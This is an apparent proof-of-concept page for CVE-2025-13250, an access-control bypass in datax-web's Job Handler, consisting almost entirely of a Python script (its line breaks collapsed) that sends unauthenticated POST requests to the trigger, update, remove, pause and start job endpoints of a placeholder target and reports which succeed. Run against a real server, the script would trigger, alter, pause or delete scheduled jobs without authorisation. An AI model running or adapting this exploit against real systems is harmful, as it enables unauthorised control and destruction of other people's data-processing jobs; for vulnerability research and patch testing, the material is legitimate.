CVE-2025-13250: datax-web Job Handler访问控制绕过漏洞

import requests import json # CVE-2025-13250 PoC - datax-web Broken Access Control # Target: datax-web Job Handler functions TARGET = "http://target-host:8080" def exploit_job_handler(): """ Exploit CVE-2025-13250: Improper Access Control in Job Handler Affects: remove, update, pause, start, triggerJob functions """ # Define vulnerable endpoints endpoints = { 'triggerJob': f"{TARGET}/api/job/trigger", 'update': f"{TARGET}/api/job/update", 'remove': f"{TARGET}/api/job/remove", 'pause': f"{TARGET}/api/job/pause", 'start': f"{TARGET}/api/job/start" } # Common job parameters job_params = { 'jobId': 1, 'jobGroup': 'default' } print("[*] Testing CVE-2025-13250 - Broken Access Control in Job Handler") print(f"[*] Target: {TARGET}") for action, endpoint in endpoints.items(): try: # Send request without proper authentication response = requests.post(endpoint, json=job_params, timeout=10) if response.status_code == 200: print(f"[+] {action}: VULNERABLE - Request successful") print(f" Response: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print(f"[-] {action}: Protected - Authentication required") else: print(f"[*] {action}: Status code {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] {action}: Error - {str(e)}") if __name__ == "__main__": exploit_job_handler()